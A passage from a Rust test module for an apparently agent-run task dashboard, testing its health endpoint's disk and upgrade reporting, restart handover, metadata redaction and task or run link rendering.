24589        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24590            started.send(()).unwrap();
24591            // A failed request assertion must also let the blocking worker exit.
24592            let _ = blocked.recv();
24593            known_disk_capacity()
24594        });
24595        assert!(cold.runs_bytes.is_none());
24596        tokio::time::timeout(Duration::from_secs(5), reached)
24597            .await
24598            .unwrap()
24599            .unwrap();
24600
24601        let requests: Vec<_> = (0..4)
24602            .map(|_| {
24603                let ui = ui.clone();
24604                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24605            })
24606            .collect();
24607        // This is a causal independence check, not a five-second latency
24608        // benchmark. Leave room for unrelated filesystem/thread contention
24609        // when the entire unit suite runs concurrently.
24610        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24611            for request in requests {
24612                let view = request.await.unwrap();
24613                let disk = serde_json::to_value(view.disk).unwrap();
24614                assert!(disk["runs_bytes"].is_null());
24615                assert!(disk["worktrees_bytes"].is_null());
24616                // Free space is a cheap live observation even while the
24617                // recursive capacity measurement remains blocked.
24618                assert!(disk["free_bytes"].is_u64());
24619            }
24620        })
24621        .await;
24622        if completed.is_err() {
24623            release.send(()).unwrap();
24624            wait_for_disk_scan(&ui.monitor.disk).await;
24625            panic!("health must return while the measurement is causally blocked");
24626        }
24627        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24628        // No competing worker can have published while the first holds flight.
24629        assert!(
24630            ui.monitor
24631                .disk
24632                .lock()
24633                .unwrap()
24634                .capacity
24635                .runs_bytes
24636                .is_none()
24637        );
24638        release.send(()).unwrap();
24639        wait_for_disk_scan(&ui.monitor.disk).await;
24640        assert_eq!(
24641            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24642            Some(200)
24643        );
24644    }
24645
24646    #[tokio::test]
24647    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24648        let home = TempDir::new().unwrap();
24649        let scope = disk_test_scope(home.path());
24650        let state = Arc::new(Mutex::new(DiskObservation {
24651            scope: Some(scope.clone()),
24652            capacity: known_disk_capacity(),
24653            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24654            ..Default::default()
24655        }));
24656        let (started, reached) = tokio::sync::oneshot::channel();
24657        let (release, blocked) = std::sync::mpsc::channel();
24658        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24659            started.send(()).unwrap();
24660            blocked.recv().unwrap();
24661            DiskCapacity {
24662                runs_bytes: Some(250),
24663                ..Default::default()
24664            }
24665        });
24666        assert_eq!(before.cache_bytes, Some(400));
24667        tokio::time::timeout(Duration::from_secs(5), reached)
24668            .await
24669            .unwrap()
24670            .unwrap();
24671        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24672        for _ in 0..4 {
24673            let scans = duplicate_scans.clone();
24674            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24675                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24676                DiskCapacity::default()
24677            });
24678            assert_eq!(during.runs_bytes, Some(200));
24679            assert_eq!(during.cache_bytes, Some(400));
24680        }
24681        release.send(()).unwrap();
24682        wait_for_disk_scan(&state).await;
24683        let scans = duplicate_scans.clone();
24684        let after = DiskObservation::observe(&state, scope, move |_| {
24685            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24686            DiskCapacity::default()
24687        });
24688        wait_for_disk_scan(&state).await;
24689        assert_eq!(after.runs_bytes, Some(250));
24690        assert_eq!(after.free_bytes, Some(100));
24691        assert_eq!(after.cache_bytes, Some(400));
24692        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24693        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24694    }
24695
24696    #[tokio::test]
24697    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24698        let home = TempDir::new().unwrap();
24699        let old_scope = disk_test_scope(home.path());
24700        let mut new_scope = old_scope.clone();
24701        new_scope.cache = Some(home.path().join("replacement-cache"));
24702        let state = Arc::new(Mutex::new(DiskObservation {
24703            scope: Some(old_scope.clone()),
24704            capacity: known_disk_capacity(),
24705            ..Default::default()
24706        }));
24707        let (started, reached) = tokio::sync::oneshot::channel();
24708        let (release, blocked) = std::sync::mpsc::channel();
24709        DiskObservation::observe(&state, old_scope, move |_| {
24710            started.send(()).unwrap();
24711            blocked.recv().unwrap();
24712            known_disk_capacity()
24713        });
24714        tokio::time::timeout(Duration::from_secs(5), reached)
24715            .await
24716            .unwrap()
24717            .unwrap();
24718        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24719        let scans = duplicate_scans.clone();
24720        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24721            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24722            DiskCapacity::default()
24723        });
24724        assert!(changed.cache_bytes.is_none());
24725        assert!(changed.runs_bytes.is_none());
24726        release.send(()).unwrap();
24727        wait_for_disk_scan(&state).await;
24728        {
24729            let observation = state.lock().unwrap();
24730            assert!(observation.capacity.cache_bytes.is_none());
24731            assert!(observation.finished.is_none());
24732        }
24733        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24734            assert_eq!(scope, &new_scope);
24735            DiskCapacity {
24736                cache_bytes: Some(999),
24737                ..Default::default()
24738            }
24739        });
24740        wait_for_disk_scan(&state).await;
24741        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24742        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24743    }
24744
24745    #[tokio::test]
24746    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24747        let home = TempDir::new().unwrap();
24748        let scope = disk_test_scope(home.path());
24749        let state = Arc::new(Mutex::new(DiskObservation {
24750            scope: Some(scope.clone()),
24751            capacity: known_disk_capacity(),
24752            ..Default::default()
24753        }));
24754        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24755        wait_for_disk_scan(&state).await;
24756        {
24757            let mut observation = state.lock().unwrap();
24758            assert_eq!(observation.capacity.cache_bytes, Some(400));
24759            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24760            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24761        }
24762        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24763            cache_bytes: Some(450),
24764            ..Default::default()
24765        });
24766        wait_for_disk_scan(&state).await;
24767        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24768    }
24769
24770    #[test]
24771    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24772        let home = TempDir::new().unwrap();
24773        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24774        assert_eq!(disk_capacity_size(home.path()), Some(0));
24775        std::fs::create_dir(home.path().join("nested")).unwrap();
24776        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24777        assert_eq!(disk_capacity_size(home.path()), Some(5));
24778        #[cfg(unix)]
24779        {
24780            // Unix distinguishes an invalid descendant lookup from absence.
24781            assert_eq!(
24782                disk_capacity_size(&home.path().join("nested/data/child")),
24783                None
24784            );
24785        }
24786        #[cfg(unix)]
24787        {
24788            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24789            assert_eq!(disk_capacity_size(home.path()), Some(5));
24790        }
24791    }
24792
24793    #[tokio::test]
24794    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24795        // `mode = "off"` for the same reason as the test above: a default
24796        // fixture repo falls back to `mode = "notify"`, which would make this
24797        // route's new `update` field a live, unauthenticated GitHub call on
24798        // every assertion in this suite that happens to hit `/api/health`.
24799        let repo = TempDir::new().expect("repo dir");
24800        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24801            .expect("write magi.toml");
24802        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24803
24804        let health = fx.get("/api/health").await.json();
24805        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24806        assert_eq!(
24807            health["update"]["available"], false,
24808            "checking is off, which reads as \"unknown\", not \"none\""
24809        );
24810        assert!(health["update"]["to"].is_null());
24811        assert!(
24812            health["upgrade"].is_null(),
24813            "nothing has ever asked this deck to upgrade"
24814        );
24815    }
24816
24817    #[tokio::test]
24818    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24819        let fx = Fixture::start().await;
24820        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24821
24822        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24823        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24824        progress.advance(crate::updater::Stage::Parking);
24825        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24826
24827        let health = fx.get("/api/health").await.json();
24828        assert_eq!(health["upgrade"]["stage"], "parking");
24829        assert_eq!(health["upgrade"]["from"], "0.5.1");
24830        assert_eq!(health["upgrade"]["to"], "0.5.2");
24831        let waiting_on = health["upgrade"]["waiting_on"]
24832            .as_str()
24833            .expect("waiting_on is set while parking a known run");
24834        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24835        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24836    }
24837
24838    #[tokio::test]
24839    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24840        let fx = Fixture::start().await;
24841        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24842        progress.advance(crate::updater::Stage::Done);
24843        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24844
24845        let health = fx.get("/api/health").await.json();
24846        assert_eq!(health["upgrade"]["stage"], "done");
24847        assert!(
24848            health["upgrade"]["waiting_on"].is_null(),
24849            "nothing to wait on once it is done"
24850        );
24851    }
24852
24853    /// The handover signal is seen however the race falls, and wakes its one
24854    /// waiter once per signal - nothing here can spin.
24855    #[tokio::test]
24856    async fn the_handover_signal_wakes_one_waiter_once() {
24857        let signal = Notify::new();
24858        // Signalled before anyone waits: the stored permit is not lost.
24859        signal.notify_one();
24860        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24861            .await
24862            .expect("an early signal is still seen");
24863        // One signal, one wake-up: a second wait does not resolve by itself.
24864        assert!(
24865            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24866                .await
24867                .is_err(),
24868            "a consumed signal must not wake a second time"
24869        );
24870        // Signalled while waiting.
24871        let signal = std::sync::Arc::new(signal);
24872        let waiter = tokio::spawn({
24873            let signal = std::sync::Arc::clone(&signal);
24874            async move { wait_for_handover(&signal).await }
24875        });
24876        tokio::time::sleep(Duration::from_millis(20)).await;
24877        assert!(!waiter.is_finished(), "nothing was signalled yet");
24878        signal.notify_one();
24879        tokio::time::timeout(Duration::from_secs(5), waiter)
24880            .await
24881            .expect("a late signal wakes the waiter")
24882            .expect("join");
24883    }
24884
24885    #[tokio::test]
24886    async fn health_says_how_long_a_handover_has_been_stuck() {
24887        let fx = Fixture::start().await;
24888        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24889        progress.advance(crate::updater::Stage::Replaced);
24890        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24891        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24892
24893        let health = fx.get("/api/health").await.json();
24894        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24895        assert!(stuck >= 600, "{stuck}");
24896        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24897        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24898    }
24899
24900    #[tokio::test]
24901    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24902        let home = tempfile::tempdir().expect("temp home");
24903        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24904        progress.advance(crate::updater::Stage::Parking);
24905        crate::updater::write_progress(home.path(), &progress).expect("seed");
24906        // What the second upgrade_and_restart and its handler do.
24907        let mut again = progress.clone();
24908        again.advance(crate::updater::Stage::Replaced);
24909        crate::updater::write_progress(home.path(), &again).expect("replaced");
24910        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24911        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24912        let after = crate::updater::read_progress(home.path()).expect("record");
24913        assert_eq!(after.stage, crate::updater::Stage::Parking);
24914    }
24915
24916    #[tokio::test]
24917    async fn health_does_not_call_a_live_parking_wait_stuck() {
24918        let fx = Fixture::start().await;
24919        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24920        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24921        progress.advance(crate::updater::Stage::Parking);
24922        let hours = Duration::from_secs(3 * 3600);
24923        progress.started_at = Timestamp::now() - hours;
24924        progress.updated_at = Timestamp::now() - hours;
24925        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24926        let _lease = crate::updater::LeaseGuard::enter(
24927            fx.home.path(),
24928            Some("20260905-000000-cd51".to_owned()),
24929        );
24930
24931        let health = fx.get("/api/health").await.json();
24932        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24933        assert!(health["upgrade"]["stuck_kind"].is_null());
24934        assert_eq!(health["upgrade"]["handover_alive"], true);
24935        let waiting_on = health["upgrade"]["waiting_on"]
24936            .as_str()
24937            .expect("waiting_on");
24938        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24939    }
24940
24941    fn idle_ui(home: &TempDir) -> Ui {
24942        let runs = home.path().join("runs");
24943        std::fs::create_dir_all(&runs).expect("runs dir");
24944        Ui::new(
24945            Queue::at(home.path().join("queue")),
24946            Questions::at(home.path().join("questions")),
24947            Talks::at(home.path().join("talks")),
24948            runs,
24949            home.path().to_path_buf(),
24950            PathBuf::from("/repo/magi"),
24951        )
24952        .with_launch(launch_idle)
24953    }
24954
24955    #[tokio::test]
24956    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24957        let home = TempDir::new().expect("temp home");
24958        let ui = idle_ui(&home);
24959        let lease = crate::worker::try_lease(home.path(), "scheduler")
24960            .expect("scheduler lease")
24961            .expect("free");
24962        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24963            .expect("request stop");
24964        let error = ui
24965            .start_detached_loop()
24966            .await
24967            .expect_err("transition is still live");
24968        assert_eq!(error.status, StatusCode::CONFLICT);
24969        assert!(error.message.contains("still running or stopping"));
24970        assert_eq!(
24971            crate::worker::control(home.path(), "scheduler").unwrap(),
24972            Some(crate::worker::Control::Stop)
24973        );
24974        drop(lease);
24975    }
24976
24977    #[tokio::test]
24978    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24979        let home = TempDir::new().expect("temp home");
24980        let ui = idle_ui(&home);
24981        let turns = ui
24982            .begin_talk_turn("active-chat")
24983            .expect("claim")
24984            .expect("free");
24985        let execution = crate::worker::try_lease(home.path(), "active-task")
24986            .expect("execution lease")
24987            .expect("free");
24988        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24989            .await
24990            .expect("bind loopback");
24991        let address = listener.local_addr().expect("address");
24992        let admissions = Arc::clone(&ui.admissions);
24993        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24994        let successor_started = std::sync::atomic::AtomicBool::new(false);
24995        tokio::time::timeout(
24996            Duration::from_secs(2),
24997            hand_over(home.path(), &admissions, served, || {
24998                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24999                Ok(1)
25000            }),
25001        )
25002        .await
25003        .expect("restart must not wait for execution")
25004        .expect("handover");
25005        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25006        // BSD may retain the address briefly after listener release. The real
25007        // successor uses the same bounded bind retry rather than a one-shot bind.
25008        let successor = bind_waiting(address)
25009            .await
25010            .expect("successor binds released address");
25011        assert_eq!(successor.local_addr().unwrap(), address);
25012        assert!(turns.owns(), "the chat lease survives restart");
25013        assert!(
25014            crate::worker::try_lease(home.path(), "active-task")
25015                .unwrap()
25016                .is_none()
25017        );
25018        drop(execution);
25019        drop(turns);
25020    }
25021
25022    #[tokio::test]
25023    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25024        let home = TempDir::new().expect("temp home");
25025        let ui = idle_ui(&home);
25026        let admission = ui.begin_admission().expect("admit send");
25027        let turn = ui
25028            .begin_talk_turn("active-chat")
25029            .expect("claim")
25030            .expect("free");
25031        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25032            .await
25033            .expect("bind loopback");
25034        let address = listener.local_addr().expect("address");
25035        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25036        let successor_called = std::sync::atomic::AtomicBool::new(false);
25037        let handover = hand_over(home.path(), &ui.admissions, served, || {
25038            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25039            Ok(1)
25040        });
25041        tokio::pin!(handover);
25042        // Poll exactly to the writer waiting on our admission guard. This
25043        // pins the race without sleeps or assumptions about task scheduling.
25044        std::future::poll_fn(|cx| {
25045            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25046            std::task::Poll::Ready(())
25047        })
25048        .await;
25049        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25050        assert!(
25051            ui.begin_admission().is_err(),
25052            "new ingress cannot race the drain"
25053        );
25054        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25055        drop(admission);
25056        tokio::time::timeout(Duration::from_secs(2), handover)
25057            .await
25058            .expect("only publication may delay restart")
25059            .expect("handover");
25060        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25061        assert!(
25062            turn.owns(),
25063            "the detached chat turn is not awaited or cancelled"
25064        );
25065        assert!(
25066            ui.begin_admission().is_err(),
25067            "old accepted connections stay closed"
25068        );
25069        drop(turn);
25070    }
25071
25072    #[test]
25073    fn health_worker_metadata_never_contains_payload_or_result() {
25074        let view = WorkerView::from(crate::worker::Job {
25075            id: "job".into(),
25076            sequence: 1,
25077            kind: "service".into(),
25078            key: "maintenance".into(),
25079            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25080            generation: "generation".into(),
25081            version: Some("1.2.3".into()),
25082            status: crate::worker::Status::Running,
25083            result: Some("private diagnostics".into()),
25084            pid: Some(4242),
25085            created_at: 1,
25086            finished_at: None,
25087        });
25088        let value = serde_json::to_value(view).expect("serialize public metadata");
25089        assert_eq!(value["version"], "1.2.3");
25090        assert_eq!(value["pid"], 4242);
25091        assert!(value.get("payload").is_none());
25092        assert!(value.get("result").is_none());
25093        assert!(!value.to_string().contains("private"));
25094    }
25095
25096    #[test]
25097    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25098        let home = TempDir::new().expect("temp home");
25099        let ui = idle_ui(&home);
25100        std::fs::write(
25101            home.path().join("daemon.json"),
25102            serde_json::json!({
25103                "schema": 2, "pid": 4242, "worker_protocol": 1,
25104                "updated_at": Timestamp::now().to_string(), "idle": true,
25105            })
25106            .to_string(),
25107        )
25108        .expect("status");
25109        let reading = daemon::read_status(home.path());
25110        assert!(Foreign::of(reading.as_ref()).is_none());
25111        let view = ui.runtime_loop_view(reading, &[]);
25112        assert!(view.running);
25113        assert!(view.owned);
25114    }
25115
25116    #[test]
25117    fn only_an_explicit_one_requests_a_resume() {
25118        assert!(!resume_requested(None));
25119        assert!(!resume_requested(Some("0".into())));
25120        assert!(!resume_requested(Some("".into())));
25121        assert!(resume_requested(Some("1".into())));
25122    }
25123
25124    #[test]
25125    fn an_error_is_visible_from_where_the_button_is() {
25126        // The alert used to sit in the flow under the header. On a phone
25127        // scrolled 13 500 px down to a run's action sheet that is off screen,
25128        // so tapping Resume and being told "the loop is running run b455
25129        // right now" looked exactly like a button that did nothing.
25130        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25131            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25132        assert!(
25133            alert.contains("position: fixed"),
25134            "an error about the thing under your thumb has to be visible from \
25135             where your thumb is: {alert}"
25136        );
25137        assert!(
25138            alert.contains("z-index: 25"),
25139            "above the dock (20) and the run-actions FAB (15), so neither \
25140             buries it: {alert}"
25141        );
25142        assert!(
25143            alert.contains("var(--tap)"),
25144            "and clear of the dock and the home indicator: {alert}"
25145        );
25146        // The FAB sits at the same height on the right. An error that covered
25147        // it would hide the button the operator reaches for next.
25148        assert!(
25149            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
25150            "the FAB's column stays free: {alert}"
25151        );
25152    }
25153
25154    #[tokio::test]
25155    async fn an_older_attempt_says_what_replaced_it() {
25156        let fx = Fixture::start().await;
25157        let q = fx.queue();
25158        let runs = fx.runs();
25159        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25160        write_run(&runs, first, RunStatus::Stalled);
25161        write_run(&runs, second, RunStatus::Blocked);
25162
25163        let mut t = Task::new(
25164            "one task".to_owned(),
25165            "do it".to_owned(),
25166            PathBuf::from("/repo"),
25167            Source::Human,
25168        );
25169        t.runs = vec![first.to_owned(), second.to_owned()];
25170        q.put(&mut t).expect("put");
25171
25172        // Two cards with the same title and no hint which is which was the
25173        // question: "why are there two of the same, one stalled and one
25174        // blocked?" The older one now names its replacement.
25175        let rows = fx.get("/api/runs").await.json();
25176        let by = |short: &str| -> Value {
25177            rows.as_array()
25178                .unwrap()
25179                .iter()
25180                .find(|r| r["short"] == short)
25181                .cloned()
25182                .unwrap_or(Value::Null)
25183        };
25184        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
25185        assert!(
25186            by("bbbb")["superseded_by"].is_null(),
25187            "the latest attempt is not superseded by anything"
25188        );
25189        // Front end: the note has to be rendered, not just carried.
25190        assert!(APP_JS.contains("run.superseded_by"));
25191        assert!(APP_JS.contains("Superseded by"));
25192    }
25193
25194    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
25195        let mut t = Task::new(
25196            "one task".to_owned(),
25197            "do it".to_owned(),
25198            PathBuf::from("/repo"),
25199            Source::Human,
25200        );
25201        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
25202        t.status = status;
25203        t
25204    }
25205
25206    #[test]
25207    fn source_link_picks_the_page_that_filed_the_task() {
25208        let agent = |node: &str| Source::Agent {
25209            run: "20260904-014455-ab12".to_owned(),
25210            node: node.to_owned(),
25211        };
25212        let chat = source_link(&agent("chat")).expect("chat link");
25213        assert_eq!(chat.kind, "chat");
25214        assert_eq!(chat.id, "20260904-014455-ab12");
25215        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
25216        let run = source_link(&agent("implement")).expect("run link");
25217        assert_eq!(
25218            (run.kind, run.href.as_str()),
25219            ("run", "#/runs/20260904-014455-ab12")
25220        );
25221        assert_eq!(source_link(&Source::Human), None);
25222        assert_eq!(
25223            source_link(&Source::Issue {
25224                number: 3,
25225                repo: "o/r".to_owned()
25226            }),
25227            None
25228        );
25229        let odd = source_link(&Source::Agent {
25230            run: "a b/c".to_owned(),
25231            node: "chat".to_owned(),
25232        })
25233        .expect("link");
25234        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
25235    }
25236
25237    #[test]
25238    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25239        assert!(
25240            !APP_JS.contains("src.node === \"chat\""),
25241            "inline href rule is back"
25242        );
25243        assert!(
25244            APP_JS.matches("sourceLinkOf(").count() >= 4,
25245            "helper must serve every page"
25246        );
25247        assert!(
25248            APP_JS.matches("openChatLink(").count() >= 3,
25249            "the run page still needs its explicit chat link"
25250        );
25251        assert!(
25252            !APP_JS.contains("const openChat = el("),
25253            "the Queue card duplicates its source label link again"
25254        );
25255        assert!(
25256            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25257            "the task page must link a chat source label too"
25258        );
25259    }
25260
25261    #[test]
25262    fn task_ref_carries_the_source_link_for_a_chat_task() {
25263        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25264        t.source = Source::Agent {
25265            run: "20260904-014455-ab12".to_owned(),
25266            node: "chat".to_owned(),
25267        };
25268        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25269        let v = serde_json::to_value(&out).expect("json");
25270        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25271        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25272        assert_eq!(v["source_label"], t.source.label());
25273
25274        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25275        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25276            .expect("json");
25277        assert!(v["source_link"].is_null(), "{v}");
25278    }
25279
25280    #[test]
25281    fn task_view_serializes_source_link() {
25282        let mut t = Task::new(
25283            "t".to_owned(),
25284            "t".to_owned(),
25285            PathBuf::from("/repo"),
25286            Source::Agent {
25287                run: "20260901-000000-aaaa".to_owned(),
25288                node: "implement".to_owned(),
25289            },
25290        );
25291        t.runs.clear();
25292        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25293        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25294        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25295    }
25296
25297    #[test]
25298    fn task_view_serializes_urgent_flag() {
25299        let mut t = Task::new(
25300            "t".to_owned(),
25301            "t".to_owned(),
25302            PathBuf::from("/repo"),
25303            Source::Human,
25304        );
25305        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25306        assert_eq!(v["urgent"], false, "{v}");
25307        t.urgent = true;
25308        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25309        assert_eq!(v["urgent"], true, "{v}");
25310        assert!(APP_JS.contains("task.urgent === true"));
25311    }
25312
25313    #[tokio::test]
25314    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25315        let fx = Fixture::start().await;
25316        let runs = fx.runs();
25317        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25318        write_run(&runs, old, RunStatus::Blocked);
25319        write_run(&runs, new, RunStatus::Merged);
25320        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25321        fx.queue().put(&mut t).expect("put");
25322
25323        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25324        let task = &view["task"];
25325        assert_eq!(task["status"], "done");
25326        assert_eq!(task["is_latest"], false);
25327        assert_eq!(task["latest"]["short"], "bbbb");
25328        assert_eq!(task["finished_by"]["id"], new);
25329        assert_eq!(task["finished_by"]["outcome"], "merged");
25330        assert_eq!(task["closed_by_hand"], false);
25331        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25332        assert!(APP_JS.contains("finished_by"));
25333        assert!(APP_JS.contains("superseded by run"));
25334    }
25335
25336    #[tokio::test]
25337    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25338        let fx = Fixture::start().await;
25339        let runs = fx.runs();
25340        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25341        write_run(&runs, old, RunStatus::Stalled);
25342        write_run(&runs, new, RunStatus::Blocked);
25343        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25344        fx.queue().put(&mut t).expect("put");
25345
25346        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25347        assert_eq!(task["status"], "held");
25348        assert_eq!(task["is_latest"], true);
25349        assert!(task["latest"].is_null());
25350        assert!(task["finished_by"].is_null());
25351        assert_eq!(task["closed_by_hand"], false);
25352    }
25353
25354    #[tokio::test]
25355    async fn a_direct_run_has_no_task_outcome() {
25356        let fx = Fixture::start().await;
25357        let runs = fx.runs();
25358        let id = "20260901-000000-aaaa";
25359        write_run(&runs, id, RunStatus::Blocked);
25360        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25361        assert!(view["task"].is_null());
25362    }
25363
25364    #[test]
25365    fn task_outcome_does_not_guess_a_finishing_run() {
25366        let a = "20260901-000000-aaaa";
25367        let b = "20260901-000000-bbbb";
25368        let c = "20260901-000000-cccc";
25369        let dir = tempfile::tempdir().expect("tempdir");
25370        write_run(dir.path(), a, RunStatus::Blocked);
25371        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25372        // `c` has no record: unreadable.
25373        let read = |id: &str| read_run(dir.path(), id).ok();
25374        // Neither a blocked run nor a no-op finished the task; the newest run is
25375        // unreadable and still named.
25376        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25377        let out = task_outcome(&t, a, 3, read);
25378        assert!(out.finished_by.is_none());
25379        assert!(out.closed_by_hand);
25380        let latest = out.latest.expect("latest");
25381        assert_eq!(latest.id, c);
25382        assert_eq!(latest.status, None);
25383        assert_eq!(latest.outcome, "record unreadable");
25384
25385        // A Ready run settles the task as done, so it is named as the finisher.
25386        write_run(dir.path(), c, RunStatus::Ready);
25387        let t = outcome_task(&[a, c], TaskStatus::Done);
25388        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25389        assert_eq!(out.finished_by.expect("finisher").id, c);
25390        assert!(!out.closed_by_hand);
25391
25392        // A resumed run id repeats: it is still the latest by id.
25393        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25394        assert!(task_outcome(&t, a, 3, read).is_latest);
25395    }
25396
25397    #[tokio::test]
25398    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25399        // The list route has known this since the card fix above; the detail
25400        // route — what an operator actually opens from a notification about
25401        // a blocked run — did not, and went on showing a bare red BLOCKED
25402        // chip for a run a retry had already finished.
25403        let fx = Fixture::start().await;
25404        let q = fx.queue();
25405        let runs = fx.runs();
25406        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25407        write_run(&runs, first, RunStatus::Blocked);
25408        write_run(&runs, second, RunStatus::Merged);
25409
25410        let mut t = Task::new(
25411            "one task".to_owned(),
25412            "do it".to_owned(),
25413            PathBuf::from("/repo"),
25414            Source::Human,
